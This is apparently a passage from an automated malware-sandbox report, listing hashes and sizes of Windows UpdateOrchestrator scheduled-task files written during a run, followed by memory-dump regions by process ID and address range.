SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/436-15-0x00000264791C0000-0x00000264791C8000-memory.dmp

Filesize
32KB

Download
memory/436-13-0x0000026479E00000-0x0000026479E44000-memory.dmp

Filesize
272KB

Download
memory/436-16-0x0000026479FA0000-0x000002647A274000-memory.dmp

Filesize
2.8MB

Download
memory/436-14-0x0000026479E50000-0x0000026479EC6000-memory.dmp

Filesize
472KB

Download
memory/436-10-0x00000264799F0000-0x0000026479A12000-memory.dmp

Filesize
136KB

Download
memory/436-0-0x00007FFCC7683000-0x00007FFCC7685000-memory.dmp

Filesize
8KB

Download
memory/436-11-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

Filesize
10.8MB

Download
memory/436-46-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

Filesize
10.8MB

Download
memory/436-12-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

Filesize
10.8MB

Download
memory/776-52-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1160-103-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1444-109-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1496-101-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1512-99-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1860-108-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1952-98-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/1992-110-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/2148-100-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/2288-106-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/2676-145-0x0000024D4D390000-0x0000024D4D692000-memory.dmp

Filesize
3.0MB

Download
memory/2676-147-0x0000024D2C210000-0x0000024D2C21E000-memory.dmp

Filesize
56KB

Download
memory/2676-146-0x0000024D44EF0000-0x0000024D44F4C000-memory.dmp

Filesize
368KB

Download
memory/2676-148-0x0000024D2C240000-0x0000024D2C252000-memory.dmp

Filesize
72KB

Download
memory/2680-105-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/2752-53-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/2972-102-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/3468-51-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/3468-47-0x0000000002FE0000-0x000000000300A000-memory.dmp

Filesize
168KB

Download
memory/3664-107-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download
memory/5092-104-0x00007FFCA5710000-0x00007FFCA5720000-memory.dmp

Filesize
64KB

Download